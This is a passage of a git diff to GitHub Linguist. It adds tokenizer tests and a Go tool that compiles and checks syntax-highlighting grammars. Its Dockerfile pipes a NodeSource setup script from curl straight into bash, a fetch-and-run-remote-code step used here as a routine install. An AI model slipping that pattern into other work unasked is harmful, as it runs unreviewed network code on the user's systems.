+    assert_equal %w(#import < Cocoa / Cocoa .h > int main \( int argc , char * argv [] \) { NSLog \( @ \) ; return ; }), tokenize(:"Objective-C/hello.m")
+  end
+
+  def test_perl_tokens
+    assert_equal %w(COMMENT# COMMENT# COMMENT# package POSIX ; #line sub getchar { usage if @_ != ; CORE :: getc \( STDIN \) ; } COMMENT# ;), tokenize(:"Perl/getchar.al")
+    assert_equal %w(@_), tokenize("@_")
+    assert_equal %w($_), tokenize("$_")
+  end
+
+  def test_php_tokens
+    assert_equal %w(<? php echo ( ) ; ?>), tokenize("<?php echo('hello world'); ?>")
+    assert_equal %w(<? php COMMENT/* ?>), tokenize("<?php /* comment */ ?>")
+  end
+
+  def test_prolog_tokens
+    assert_equal %w(a ( A , B ) :- f .), tokenize("a(A, B) :- f.")
   end
 
   def test_shebang
@@ -102,15 +286,52 @@ def test_shebang
   end
 
   def test_javascript_tokens
-    assert_equal %w( \( function \( \) { console.log \( \) ; } \) .call \( this \) ;), tokenize(:"JavaScript/hello.js")
+    assert_equal %w( \( function \(\) { console .log \( \) ; } \) .call \( this \) ;), tokenize(:"JavaScript/hello.js")
   end
 
   def test_json_tokens
-    assert_equal %w( { [ ] { } } ), tokenize(:"JSON/product.json")
+    assert_equal %w( { : , : , : , : [ , ] , : { : , : } } ), tokenize(:"JSON/product.json")
   end
 
   def test_ruby_tokens
     assert_equal %w(module Foo end), tokenize(:"Ruby/foo.rb")
-    assert_equal %w(task default do puts end), tokenize(:"Ruby/filenames/Rakefile")
+    assert_equal %w(task : default do puts end), tokenize(:"Ruby/filenames/Rakefile")
+  end
+
+  def test_shell_tokens
+    # Bash
+    assert_equal %w(&>), tokenize("&>")
+    assert_equal %w(|&), tokenize("|&")
+    assert_equal %w(<&), tokenize("<&")
+    assert_equal %w(>&), tokenize(">&")
+    assert_equal %w(${ a }), tokenize("${a}")
+    assert_equal %w($( a )), tokenize("$( a )")
+    assert_equal %w($(( + ))), tokenize("$(( 1+1 ))")
+
+    # Fish
+    assert_equal %w(<&-), tokenize("<&-")
+    assert_equal %w(&|), tokenize("&|")
+  end
+
+  def test_truncate
+    assert_equal ['a'*16], tokenize('a'*100)
+  end
+
+  def test_long_token
+    assert_equal ["." * 16], tokenize("." * (32*1024+1))
+  end
+
+  # This is a terrible way to test this, but it does the job.
+  #
+  # If this test fails, it means you've introduced a regression in the tokenizer in the form of an action that uses
+  # REJECT or a rule with a trailing context which is effectively the same as REJECT. Both of these cause us problems
+  # because they introduce a fixed length buffer. This fixed buffer can cause the tokenizer to crash. This also has
+  # an impact on performance of the tokenizer.
+  #
+  # Please do not use rules with a trailing context or REJECT actions
+  #
+  def test_flex_no_reject
+    refute File.open("ext/linguist/lex.linguist_yy.c").grep(/#define REJECT reject_used_but_not_detected/).empty?, \
+      "Tokenizer should not use rules with a trailing context or REJECT actions"
   end
 end
diff --git a/tools/grammars/.gitignore b/tools/grammars/.gitignore
new file mode 100644
index 0000000000..61ead86667
--- /dev/null
+++ b/tools/grammars/.gitignore
@@ -0,0 +1 @@
+/vendor
diff --git a/tools/grammars/Dockerfile b/tools/grammars/Dockerfile
new file mode 100644
index 0000000000..f4a0575cab
--- /dev/null
+++ b/tools/grammars/Dockerfile
@@ -0,0 +1,29 @@
+FROM golang:1.20
+
+WORKDIR /go/src/github.com/github/linguist/tools/grammars
+
+RUN curl -sL https://deb.nodesource.com/setup_14.x | bash - && \
+	apt-get update && \
+	apt-get install -y nodejs cmake && \
+	npm install -g season && \
+	cd /tmp && git clone https://github.com/vmg/pcre && \
+	mkdir -p /tmp/pcre/build && cd /tmp/pcre/build && \
+	cmake .. \
+		-DPCRE_SUPPORT_JIT=ON \
+		-DPCRE_SUPPORT_UTF=ON \
+		-DPCRE_SUPPORT_UNICODE_PROPERTIES=ON \
+		-DBUILD_SHARED_LIBS=OFF \
+		-DCMAKE_C_FLAGS="-fPIC $(EXTRA_PCRE_CFLAGS)" \
+		-DCMAKE_BUILD_TYPE=RelWithDebInfo \
+		-DPCRE_BUILD_PCRECPP=OFF \
+		-DPCRE_BUILD_PCREGREP=OFF \
+		-DPCRE_BUILD_TESTS=OFF \
+		-G "Unix Makefiles" && \
+    make && make install && \
+	rm -rf /tmp/pcre && \
+	rm -rf /var/lib/apt/lists/*
+
+COPY . .
+RUN go install ./cmd/grammar-compiler
+
+ENTRYPOINT ["grammar-compiler"]
diff --git a/tools/grammars/cmd/grammar-compiler/main.go b/tools/grammars/cmd/grammar-compiler/main.go
new file mode 100644
index 0000000000..c5881b68f8
--- /dev/null
+++ b/tools/grammars/cmd/grammar-compiler/main.go
@@ -0,0 +1,128 @@
+package main
+
+import (
+	"os"
+
+	"github.com/github/linguist/tools/grammars/compiler"
+	"github.com/urfave/cli/v2"
+)
+
+func cwd() string {
+	cwd, _ := os.Getwd()
+	return cwd
+}
+
+func wrap(err error) error {
+	return cli.Exit(err, 255)
+}
+
+func main() {
+	app := cli.NewApp()
+	app.Name = "Linguist Grammars Compiler"
+	app.Usage = "Compile user-submitted grammars and check them for errors"
+
+	app.Flags = []cli.Flag{
+		&cli.StringFlag{
+			Name:  "linguist-path",
+			Value: cwd(),
+			Usage: "path to Linguist root",
+		},
+	}
+
+	app.Commands = []*cli.Command{
+		{
+			Name:  "add",
+			Usage: "add a new grammar source",
+			Flags: []cli.Flag{
+				&cli.BoolFlag{
+					Name:  "force",
+					Aliases: []string{"f"},
+					Usage: "ignore compilation errors",
+				},
+			},
+			Action: func(c *cli.Context) error {
+				conv, err := compiler.NewConverter(c.String("linguist-path"))
+				if err != nil {
+					return wrap(err)
+				}
+				if err := conv.AddGrammar(c.Args().First()); err != nil {
+					if !c.Bool("force") {
+						return wrap(err)
+					}
+				}
+				if err := conv.WriteGrammarList(); err != nil {
+					return wrap(err)
+				}
+				return nil
+			},
+		},
+		{
+			Name:  "update",
+			Usage: "update grammars.yml with the contents of the grammars library",
+			Flags: []cli.Flag{
+				&cli.BoolFlag{
+					Name:  "force",
+					Aliases: []string{"f"},
+					Usage: "write grammars.yml even if grammars fail to compile",
+				},
+				&cli.BoolFlag{
+					Name:  "verbose",
+					Aliases: []string{"v"},
+					Usage: "show all warnings",
+					Value: false,
+				},
+			},
+			Action: func(c *cli.Context) error {
+				conv, err := compiler.NewConverter(c.String("linguist-path"))
+				if err != nil {
+					return wrap(err)
+				}
+				if err := conv.ConvertGrammars(true); err != nil {
+					return wrap(err)
+				}
+				if err := conv.Report(c.Bool("verbose")); err != nil {
+					if !c.Bool("force") {
+						return wrap(err)
+					}
+				}
+				if err := conv.WriteGrammarList(); err != nil {
+					return wrap(err)
+				}
+				return nil
+			},
+		},
+		{
+			Name:  "compile",
+			Usage: "convert the grammars from the library",
+			Flags: []cli.Flag{
+				&cli.StringFlag{Name: "proto-out", Aliases: []string{"P"}},
+				&cli.StringFlag{Name: "out", Aliases: []string{"o"}},
+			},
+			Action: func(c *cli.Context) error {
+				conv, err := compiler.NewConverter(c.String("linguist-path"))
+				if err != nil {
+					return cli.Exit(err, 1)
+				}
+				if err := conv.ConvertGrammars(false); err != nil {
+					return cli.Exit(err, 1)
+				}
+				if out := c.String("proto-out"); out != "" {
+					if err := conv.WriteProto(out); err != nil {
+						return cli.Exit(err, 1)
+					}
+				}
+				if out := c.String("out"); out != "" {
+					if err := conv.WriteJSON(out); err != nil {
+						return cli.Exit(err, 1)
+					}
+				}
+				if err := conv.Report(false); err != nil {
+					return wrap(err)
+				}
+				return nil
+			},
+		},
+	}
+
+	app.Run(os.Args)
+}
diff --git a/tools/grammars/compiler/converter.go b/tools/grammars/compiler/converter.go
new file mode 100644
index 0000000000..a8d31bcff8
--- /dev/null
+++ b/tools/grammars/compiler/converter.go
@@ -0,0 +1,314 @@
+package compiler
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"runtime"
+	"sort"
+	"strings"
+	"sync"
+
+	grammar "github.com/github/linguist/tools/grammars/proto"
+	"github.com/golang/protobuf/proto"
+	pb "gopkg.in/cheggaaa/pb.v1"
+	yaml "gopkg.in/yaml.v2"
+)
+
+type Converter struct {
+	root    string
+	version string
+
+	modified bool
+	grammars map[string][]string
+	Loaded   map[string]*Repository
+
+	progress *pb.ProgressBar
+	wg       sync.WaitGroup
+	queue    chan string
+	mu       sync.Mutex
+}
+
+func (conv *Converter) Load(src string) *Repository {
+	if strings.HasPrefix(src, "http://") || strings.HasPrefix(src, "https://") {
+		return LoadFromURL(src)
+	}
+	return LoadFromFilesystem(conv.root, src)
+}
+
+func (conv *Converter) work() {
+	for source := range conv.queue {
+		repo := conv.Load(source)
+
+		conv.mu.Lock()
+		conv.Loaded[source] = repo
+		conv.mu.Unlock()
+
+		conv.progress.Increment()
+	}
+
+	conv.wg.Done()
+}
+
+func (conv *Converter) tmpScopes() map[string]bool {
+	scopes := make(map[string]bool)
+	for _, ary := range conv.grammars {
+		for _, s := range ary {
+			scopes[s] = true
+		}
+	}
+	return scopes
+}
+
+func (conv *Converter) AddGrammar(source string) error {
+	repo := conv.Load(source)
+	if len(repo.Files) == 0 && len(repo.Errors) == 0 {
+		return fmt.Errorf("source '%s' contains no grammar files", source)
+	}
+
+	conv.grammars[source] = repo.Scopes()
+	conv.modified = true
+
+	knownScopes := conv.tmpScopes()
+	repo.FixRules(knownScopes)
+
+	if len(repo.Errors) > 0 {
+		// Split out warnings from errors
+		warnings := []error{}
+		errors := []error{}
+		for _, e := range repo.Errors {
+			switch e.(type) {
+			case *MissingIncludeError, *UnknownKeysError:
+				warnings = append(warnings, e)
+			default:
+				errors = append(errors, e)
+			}
+		}
+		if len(errors) > 0 {
+			fmt.Fprintf(os.Stderr, "%d errors found in new grammar '%s':\n",
+				len(errors), repo)
+			for _, err := range errors {
+				fmt.Fprintf(os.Stderr, "- %s\n", err)
+			}
+			fmt.Fprintf(os.Stderr, "\n")
+			return fmt.Errorf("Compilation failed. Aborting")
+		}
+		if len(warnings) > 0 {
+			fmt.Fprintf(os.Stderr, "%d warnings found when compiling new grammar '%s':\n",
+				len(warnings), repo)
+			for _, err := range warnings {
+				fmt.Fprintf(os.Stderr, "- %s\n", err)
+			}
+			fmt.Fprintf(os.Stderr, "\n")
+			fmt.Fprintf(os.Stderr, "These warnings are not fatal, but may mean the syntax highlighting on GitHub.com may not be as expected.\n\n")
+		}
+	}
+
+	fmt.Printf("OK! added grammar source '%s'\n", source)
+	for scope := range repo.Files {
+		fmt.Printf("\tnew scope: %s\n", scope)
+	}
+	return nil
+}
+
+func (conv *Converter) AllScopes() map[string]bool {
+	// Map from scope -> Repository first to error check
+	// possible duplicates
+	allScopes := make(map[string]*Repository)
+	for _, repo := range conv.Loaded {
+		for scope := range repo.Files {
+			if original := allScopes[scope]; original != nil {
+				repo.Fail(&DuplicateScopeError{original, scope})
+			} else {
+				allScopes[scope] = repo
+			}
+		}
+	}
+
+	// Convert to scope -> bool
+	scopes := make(map[string]bool)
+	for s := range allScopes {
+		scopes[s] = true
+	}
+	return scopes
+}
+
+func (conv *Converter) ConvertGrammars(update bool) error {
+	conv.Loaded = make(map[string]*Repository)
+	conv.queue = make(chan string, 128)
+
+	conv.progress = pb.New(len(conv.grammars))
+	conv.progress.Start()
+
+	for i := 0; i < runtime.NumCPU(); i++ {
+		conv.wg.Add(1)
+		go conv.work()
+	}
+
+	for src := range conv.grammars {
+		conv.queue <- src
+	}
+
+	close(conv.queue)
+	conv.wg.Wait()
+
+	done := fmt.Sprintf("done! processed %d grammars\n", len(conv.Loaded))
+	conv.progress.FinishPrint(done)
+
+	if update {
+		conv.grammars = make(map[string][]string)
+		conv.modified = true
+	}
+
+	knownScopes := conv.AllScopes()
+
+	for source, repo := range conv.Loaded {
+		repo.FixRules(knownScopes)
+
+		if update {
+			scopes := repo.Scopes()
+			if len(scopes) > 0 {
+				conv.grammars[source] = scopes
+			}
+		} else {
+			expected := conv.grammars[source]
+			repo.CompareScopes(expected)
+		}
+	}
+
+	return nil
+}
+
+func (conv *Converter) WriteProto(path string) error {
+	library := grammar.Library{
+		Grammars: make(map[string]*grammar.Rule),
+	}
+
+	for _, repo := range conv.Loaded {
+		for scope, file := range repo.Files {
+			library.Grammars[scope] = file.Rule
+		}
+	}
+
+	pb, err := proto.Marshal(&library)
+	if err != nil {
+		return err
+	}
+
+	return ioutil.WriteFile(path, pb, 0666)
+}
+
+func (conv *Converter) writeJSONFile(path string, rule *grammar.Rule) error {
+	j, err := os.Create(path)
+	if err != nil {
+		return err
+	}
+	defer j.Close()
+
+	enc := json.NewEncoder(j)
+	return enc.Encode(rule)
+}
+
+func (conv *Converter) WriteJSON(rulePath string) error {
+	if err := os.MkdirAll(rulePath, os.ModePerm); err != nil {
+		return err
+	}
+
+	f, err := os.Create(path.Join(rulePath, "version"))
+	if err != nil {
+		return err
+	}
+	f.Write([]byte(conv.version))
+	f.Close()
+
+	for _, repo := range conv.Loaded {
+		for scope, file := range repo.Files {
+			p := path.Join(rulePath, scope+".json")
+			if err := conv.writeJSONFile(p, file.Rule); err != nil {
+				return err
+			}
+		}
+	}
+
+	return nil
+}
+
+func (conv *Converter) WriteGrammarList() error {
+	if !conv.modified {
+		return nil
+	}
+
+	outyml, err := yaml.Marshal(conv.grammars)
+	if err != nil {
+		return err
+	}
+
+	ymlpath := path.Join(conv.root, "grammars.yml")
+	return ioutil.WriteFile(ymlpath, outyml, 0666)
+}
+
+func (conv *Converter) Report(verbose bool) error {
+	var failed []*Repository
+	for _, repo := range conv.Loaded {
+		if len(repo.Errors) > 0 {
+			failed = append(failed, repo)
+		}
+	}
+
+	sort.Slice(failed, func(i, j int) bool {
+		return failed[i].Source < failed[j].Source
+	})
+
+	total := 0
+	for _, repo := range failed {
+		n := 0
+		// Only show warning-like errors in verbose output
+		if ! verbose {
+			for _, err := range repo.Errors {
+				switch err.(type) {
+				case *MissingIncludeError, *UnknownKeysError:
+					break
+				default:
+					repo.Errors[n] = err
+					n++
+				}
+			}
+			repo.Errors = repo.Errors[:n]
+		}
+		if len(repo.Errors) > 0 {
+			fmt.Fprintf(os.Stderr, "- [ ] %s (%d errors)\n", repo, len(repo.Errors))
+			for _, err := range repo.Errors {
+				fmt.Fprintf(os.Stderr, "  - %s\n", err)
+			}
+			fmt.Fprintf(os.Stderr, "\n")
+		}
+		total += len(repo.Errors)
+	}
+
+	if total > 0 {
+		return fmt.Errorf("The grammar library contains %d errors", total)
+	}
+	return nil
+}
+
+func NewConverter(root string) (*Converter, error) {
+	ver, err := ioutil.ReadFile(path.Join(root, "lib", "linguist", "VERSION"))
+	if err != nil {
+		return nil, err
+	}
+
+	yml, err := ioutil.ReadFile(path.Join(root, "grammars.yml"))
+	if err != nil {
+		return nil, err
+	}
+
+	conv := &Converter{root: root, version: strings.TrimSpace(string(ver))}
+
+	if err := yaml.Unmarshal(yml, &conv.grammars); err != nil {
+		return nil, err
+	}
+
+	return conv, nil
+}
diff --git a/tools/grammars/compiler/cson.go b/tools/grammars/compiler/cson.go
new file mode 100644
index 0000000000..53183b77a1
--- /dev/null
+++ b/tools/grammars/compiler/cson.go
@@ -0,0 +1,21 @@
+package compiler
+
+import (
+	"bytes"
+	"os/exec"
+)
+
+func ConvertCSON(data []byte) ([]byte, error) {
+	stdin := bytes.NewBuffer(data)
+	stdout := &bytes.Buffer{}
+
+	cmd := exec.Command("csonc")
+	cmd.Stdin = stdin
+	cmd.Stdout = stdout
+
+	if err := cmd.Run(); err != nil {
+		return nil, err
+	}
+
+	return stdout.Bytes(), nil
+}
diff --git a/tools/grammars/compiler/data.go b/tools/grammars/compiler/data.go
new file mode 100644
index 0000000000..a1d4759632
--- /dev/null
+++ b/tools/grammars/compiler/data.go
@@ -0,0 +1,67 @@
+package compiler
+
+var GrammarAliases = map[string]string{
+	"source.erb":         "text.html.erb",
+	"source.cpp":         "source.c++",
+	"source.less":        "source.css.less",
+	"text.html.markdown": "text.md",
+	"source.gfm":         "text.md",
+	"source.php":         "text.html.php",
+	"text.plain":         "",
+	"source.asciidoc":    "text.html.asciidoc",
+	"source.perl6":       "source.raku",
+	"source.scss":        "source.css.scss",
+	"source.git-config":  "source.gitconfig",
+	"source.smarty":      "text.html.smarty",
+	"text.slm":           "text.slim",
+	"text.pug":           "text.jade",
+}
+
+var KnownFields = map[string]bool{
+	"$schema":               true,
+	"comment":               true,
+	"uuid":                  true,
+	"author":                true,
+	"comments":              true,
+	"macros":                true,
+	"fileTypes":             true,
+	"firstLineMatch":        true,
+	"keyEquivalent":         true,
+	"foldingStopMarker":     true,
+	"foldingStartMarker":    true,
+	"foldingEndMarker":      true,
+	"maxTokensPerLine":      true,
+	"limitLineLength":       true,
+	"hideFromUser":          true,
+	"injectionSelector":     true,
+	"swallow":               true,
+	"foregroundColor":       true,
+	"backgroundColor":       true,
+	"increaseIndentPattern": true,
+	"beginComment":          true,
+	"endComment":            true,
+}
+
+// GrammarsInNonStdPath is a list of grammars known to have their syntax .cson or .json files in non-standard directories.
+var GrammarsInNonStdPath = map[string]bool{
+	"conllu-linguist-grammar": true,
+	"hy.tmLanguage":           true,
+	"abl-tmlanguage":          true,
+	"avro.tmLanguage":         true,
+}
+
+// IgnoredFiles is a list of files that look like syntax files but aren't, or are known to be broken and never likely to be fixed.
+var IgnoredFiles = map[string]bool{
+	"ballerina-grammar/syntaxes/ballerina.monarch.json":           true,
+	"oz-tmbundle/Originals/Oz.tmLanguage":                         true,
+	"abl-tmlanguage/package-lock.json":                            true,
+	"abl-tmlanguage/package.json":                                 true,
+	"avro.tmLanguage/package-lock.json":                           true,
+	"avro.tmLanguage/package.json":                                true,
+	"avro.tmLanguage/avro-avsc-json-schema.json":                  true,
+	"liquid-tm-grammar/tests/syntaxes/css.tmLanguage.json":        true,
+	"liquid-tm-grammar/tests/syntaxes/html.tmLanguage.json":       true,
+	"liquid-tm-grammar/tests/syntaxes/javascript.tmLanguage.json": true,
+	"liquid-tm-grammar/tests/syntaxes/json.tmLanguage.json":       true,
+	"godot-vscode-plugin/syntaxes/.prettierrc.json":               true,
+}
diff --git a/tools/grammars/compiler/errors.go b/tools/grammars/compiler/errors.go
new file mode 100644
index 0000000000..86bbb3ab9f
--- /dev/null
+++ b/tools/grammars/compiler/errors.go
@@ -0,0 +1,95 @@
+package compiler
+
+import "fmt"
+import "strings"
+
+type ConversionError struct {
+	Path string
+	Err  error
+}
+
+func (err *ConversionError) Error() string {
+	return fmt.Sprintf(
+		"Grammar conversion failed. File `%s` failed to parse: %s",
+		err.Path, err.Err)
+}
+
+type DuplicateScopeError struct {
+	Original  *Repository
+	Duplicate string
+}
+
+func (err *DuplicateScopeError) Error() string {
+	return fmt.Sprintf(
+		"Duplicate scope in repository: scope `%s` was already defined in %s",
+		err.Duplicate, err.Original)
+}
+
+type MissingScopeError struct {
+	Scope string
+}
+
+func (err *MissingScopeError) Error() string {
+	return fmt.Sprintf(
+		"Missing scope in repository: `%s` is listed in grammars.yml but cannot be found",
+		err.Scope)
+}
+
+type UnexpectedScopeError struct {
+	File  *LoadedFile
+	Scope string
+}
+
+func (err *UnexpectedScopeError) Error() string {
+	return fmt.Sprintf(
+		"Unexpected scope in repository: `%s` declared in %s was not listed in grammars.yml",
+		err.Scope, err.File)
+}
+
+type MissingIncludeError struct {
+	File    *LoadedFile
+	Include string
+}
+
+func (err *MissingIncludeError) Error() string {
+	return fmt.Sprintf(
+		"Missing include in grammar: %s attempts to include `%s` but the scope cannot be found",
+		err.File, err.Include)
+}
+
+type UnknownKeysError struct {
+	File *LoadedFile
+	Keys []string
+}
+
+func (err *UnknownKeysError) Error() string {
+	var keys []string
+	for _, k := range err.Keys {
+		keys = append(keys, fmt.Sprintf("`%s`", k))
+	}
+
+	return fmt.Sprintf(
+		"Unknown keys in grammar: %s contains invalid keys (%s)",
+		err.File, strings.Join(keys, ", "))
+}
+
+type InvalidRegexError struct {
+	File *LoadedFile
+	Err  error
+}
+
+func (err *InvalidRegexError) Error() string {
+	return fmt.Sprintf(
+		"Invalid regex in grammar: %s contains a malformed regex (%s)",
+		err.File, err.Err)
+}
+
+type UndeclaredScopeError struct {
+	Path string
+}
+
+func (err *UndeclaredScopeError) Error() string {
+	return fmt.Sprintf(
+		"Undeclared scope in grammar: `%s` has no scope name",
+		err.Path)
+}
diff --git a/tools/grammars/compiler/loader.go b/tools/grammars/compiler/loader.go
new file mode 100644
index 0000000000..44368105f3
--- /dev/null
+++ b/tools/grammars/compiler/loader.go
@@ -0,0 +1,129 @@
+package compiler
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+
+	grammar "github.com/github/linguist/tools/grammars/proto"
+)
+
+type LoadedFile struct {
+	Path string
+	Rule *grammar.Rule
+}
+
+func (f *LoadedFile) String() string {
+	return fmt.Sprintf("`%s` (in `%s`)", f.Rule.ScopeName, f.Path)
+}
+
+type Repository struct {
+	Source   string
+	Upstream string
+	Files    map[string]*LoadedFile
+	Errors   []error
+}
+
+func newRepository(src string) *Repository {
+	return &Repository{
+		Source: src,
+		Files:  make(map[string]*LoadedFile),
+	}
+}
+
+func (repo *Repository) String() string {
+	str := fmt.Sprintf("repository `%s`", repo.Source)
+	if repo.Upstream != "" {
+		str = str + fmt.Sprintf(" (from %s)", repo.Upstream)
+	}
+	return str
+}
+
+func (repo *Repository) Fail(err error) {
+	repo.Errors = append(repo.Errors, err)
+}
+
+func (repo *Repository) AddFile(path string, rule *grammar.Rule, uk []string) {
+	file := &LoadedFile{
+		Path: path,
+		Rule: rule,
+	}
+
+	repo.Files[rule.ScopeName] = file
+	if len(uk) > 0 {
+		repo.Fail(&UnknownKeysError{file, uk})
+	}
+}
+
+func toMap(slice []string) map[string]bool {
+	m := make(map[string]bool)
+	for _, s := range slice {
+		m[s] = true
+	}
+	return m
+}
+
+func (repo *Repository) CompareScopes(scopes []string) {
+	expected := toMap(scopes)
+
+	for scope, file := range repo.Files {
+		if !expected[scope] {
+			repo.Fail(&UnexpectedScopeError{file, scope})
+		}
+	}
+
+	for scope := range expected {
+		if _, ok := repo.Files[scope]; !ok {
+			repo.Fail(&MissingScopeError{scope})
+		}
+	}
+}
+
+func (repo *Repository) FixRules(knownScopes map[string]bool) {
+	for _, file := range repo.Files {
+		w := walker{
+			File:    file,
+			Known:   knownScopes,
+			Missing: make(map[string]bool),
+		}
+
+		w.walk(file.Rule)
+		repo.Errors = append(repo.Errors, w.Errors...)
+
+	}
+}
+
+func (repo *Repository) Scopes() (scopes []string) {
+	for s := range repo.Files {
+		scopes = append(scopes, s)
+	}
+	sort.Strings(scopes)
+	return
+}
+
+func isValidGrammar(path string, info os.FileInfo) bool {
+	if info.IsDir() {
+		return false
+	}
+
+	// Tree-Sitter grammars are not supported
+	if strings.HasPrefix(filepath.Base(path), "tree-sitter-") {
+		return false
+	}
+
+	dir := filepath.Dir(path)
+	ext := filepath.Ext(path)
+
+	switch strings.ToLower(ext) {
+	case ".plist":
+		return strings.HasSuffix(dir, "/Syntaxes")
+	case ".tmlanguage", ".yaml-tmlanguage":
+		return true
+	case ".cson", ".json":
+		return strings.HasSuffix(dir, "/grammars") || strings.HasSuffix(dir, "/syntaxes") || GrammarsInNonStdPath[filepath.Base(dir)]
+	default:
+		return false
+	}
+}
diff --git a/tools/grammars/compiler/loader_fs.go b/tools/grammars/compiler/loader_fs.go
new file mode 100644
index 0000000000..c8c780aec5
--- /dev/null
+++ b/tools/grammars/compiler/loader_fs.go
@@ -0,0 +1,125 @@
+package compiler
+
+import (
+	"io/ioutil"
+	"os"
+	"os/exec"
+	"path"
+	"path/filepath"
+	"sort"
+	"strings"
+)
+
+type fsLoader struct {
+	*Repository
+	abspath string
+}
+
+var preferredGrammars = map[string]int{
+	".tmlanguage":      0,
+	".cson":            1,
+	".json":            1,
+	".plist":           2,
+	".yaml-tmlanguage": 3,
+}
+
+func findPreferredExtension(ext []string) string {
+	if len(ext) > 1 {
+		sort.Slice(ext, func(i, j int) bool {
+			a := strings.ToLower(ext[i])
+			b := strings.ToLower(ext[j])
+			return preferredGrammars[a] < preferredGrammars[b]
+		})
+	}
+	return ext[0]
+}
+
+func (l *fsLoader) findGrammars() (files []string, err error) {
+	grammars := make(map[string][]string)
+
+	err = filepath.Walk(l.abspath,
+		func(path string, info os.FileInfo, err error) error {
+			if err == nil && isValidGrammar(path, info) {
+				ext := filepath.Ext(path)
+				base := path[0 : len(path)-len(ext)]
+				grammars[base] = append(grammars[base], ext)
+			}
+			return nil
+		})
+
+	for base, ext := range grammars {
+		pref := findPreferredExtension(ext)
+		files = append(files, base+pref)
+	}
+
+	return
+}
+
+func (l *fsLoader) load() {
+	grammars, err := l.findGrammars()
+	if err != nil {
+		l.Fail(err)
+		return
+	}
+
+	for _, path := range grammars {
+		rel, err := filepath.Rel("/src/linguist/vendor/grammars/", path)
+		if err != nil {
+			l.Fail(err)
+			return
+		}
+
+		// Ignore all files under src directories
+		if ok, _ := filepath.Match("*/src/*", rel); ok {
+			continue
+		}
+
+		if IgnoredFiles[rel] {
+			continue
+		}
+
+		data, err := ioutil.ReadFile(path)
+		if err != nil {
+			l.Fail(err)
+			continue
+		}
+
+		if rel, err := filepath.Rel(l.abspath, path); err == nil {
+			path = rel
+		}
+
+		rule, unknown, err := ConvertProto(path, filepath.Ext(path), data)
+		if err != nil {
+			l.Fail(&ConversionError{path, err})
+			continue
+		}
+
+		if _, ok := l.Files[rule.ScopeName]; ok {
+			continue
+		}
+
+		l.AddFile(path, rule, unknown)
+	}
+}
+
+func gitRemoteName(path string) (string, error) {
+	remote, err := exec.Command("git", "-C", path, "remote", "get-url", "origin").Output()
+	if err != nil {
+		return "", err
+	}
+	return strings.TrimSpace(string(remote)), nil
+}
+
+func LoadFromFilesystem(root, src string) *Repository {
+	loader := fsLoader{
+		Repository: newRepository(src),
+		abspath:    path.Join(root, src),
+	}
+	loader.load()
+
+	if ups, err := gitRemoteName(loader.abspath); err == nil {
+		loader.Repository.Upstream = ups
+	}
+
+	return loader.Repository
+}
diff --git a/tools/grammars/compiler/loader_url.go b/tools/grammars/compiler/loader_url.go
new file mode 100644
index 0000000000..2b58e6c2e3
--- /dev/null
+++ b/tools/grammars/compiler/loader_url.go
@@ -0,0 +1,93 @@
+package compiler
+
+import (
+	"archive/tar"
+	"compress/gzip"
+	"io"
+	"io/ioutil"
+	"net/http"
+	"path/filepath"
+	"strings"
+)
+
+type urlLoader struct {
+	*Repository
+}
+
+func (l *urlLoader) loadTarball(r io.Reader) {
+	gzf, err := gzip.NewReader(r)
+	if err != nil {
+		l.Fail(err)
+		return
+	}
+	defer gzf.Close()
+
+	tarReader := tar.NewReader(gzf)
+	for true {
+		header, err := tarReader.Next()
+
+		if err != nil {
+			if err != io.EOF {
+				l.Fail(err)
+			}
+			return
+		}
+
+		if isValidGrammar(header.Name, header.FileInfo()) {
+			data, err := ioutil.ReadAll(tarReader)
+			if err != nil {
+				l.Fail(err)
+				return
+			}
+
+			ext := filepath.Ext(header.Name)
+			rule, unknown, err := ConvertProto(header.Name, ext, data)
+			if err != nil {
+				l.Fail(&ConversionError{header.Name, err})
+				continue
+			}
+
+			if _, ok := l.Files[rule.ScopeName]; ok {
+				continue
+			}
+
+			l.AddFile(header.Name, rule, unknown)
+		}
+	}
+}
+
+func (l *urlLoader) load() {
+	res, err := http.Get(l.Source)
+	if err != nil {
+		l.Fail(err)
+		return
+	}
+	defer res.Body.Close()
+
+	if strings.HasSuffix(l.Source, ".tar.gz") {
+		l.loadTarball(res.Body)
+		return
+	}
+
+	data, err := ioutil.ReadAll(res.Body)
+	if err != nil {
+		l.Fail(err)
+		return
+	}
+
+	ext := filepath.Ext(l.Source)
+	filename := filepath.Base(l.Source)
+	rule, unknown, err := ConvertProto(l.Source, ext, data)
+	if err != nil {
+		l.Fail(&ConversionError{filename, err})
+		return
+	}
+
+	l.AddFile(filename, rule, unknown)
+}
+
+func LoadFromURL(src string) *Repository {
+	loader := urlLoader{newRepository(src)}
+	loader.load()
+	return loader.Repository
+}
diff --git a/tools/grammars/compiler/pcre.go b/tools/grammars/compiler/pcre.go
new file mode 100644
index 0000000000..a716013e5b
--- /dev/null
+++ b/tools/grammars/compiler/pcre.go
@@ -0,0 +1,68 @@
+package compiler
+
+import (
+	"fmt"
+
+	"github.com/github/linguist/tools/grammars/pcre"
+)
+
+type replacement struct {
+	pos int
+	len int
+	val string
+}
+
+func fixRegex(re string) (string, bool) {
+	var (
+		replace     []replacement
+		escape      = false
+		hasBackRefs = false
+	)
+
+	for i, ch := range re {
+		if escape {
+			if ch == 'h' {
+				replace = append(replace, replacement{i - 1, 2, "[[:xdigit:]]"})
+			}
+			if '0' <= ch && ch <= '9' {
+				hasBackRefs = true
+			}
+		}
+		escape = !escape && ch == '\\'
+	}
+
+	if len(replace) > 0 {
+		reb := []byte(re)
+		offset := 0
+		for _, repl := range replace {
+			reb = append(
+				reb[:offset+repl.pos],
+				append([]byte(repl.val), reb[offset+repl.pos+repl.len:]...)...)
+			offset += len(repl.val) - repl.len
+		}
+		return string(reb), hasBackRefs
+	}
+
+	return re, hasBackRefs
+}
+
+func CheckPCRE(re string) (string, error) {
+	hasBackRefs := false
+
+	if re == "" {
+		return "", nil
+	}
+	if len(re) > 32*1024 {
+		return "", fmt.Errorf(
+			"regex %s: definition too long (%d bytes)",
+			pcre.RegexPP(re), len(re))
+	}
+
+	re, hasBackRefs = fixRegex(re)
+	if !hasBackRefs {
+		if err := pcre.CheckRegexp(re, pcre.DefaultFlags); err != nil {
+			return "", err
+		}
+	}
+	return re, nil
+}
diff --git a/tools/grammars/compiler/pcre_test.go b/tools/grammars/compiler/pcre_test.go
new file mode 100644
index 0000000000..d77b07fb4f
--- /dev/null
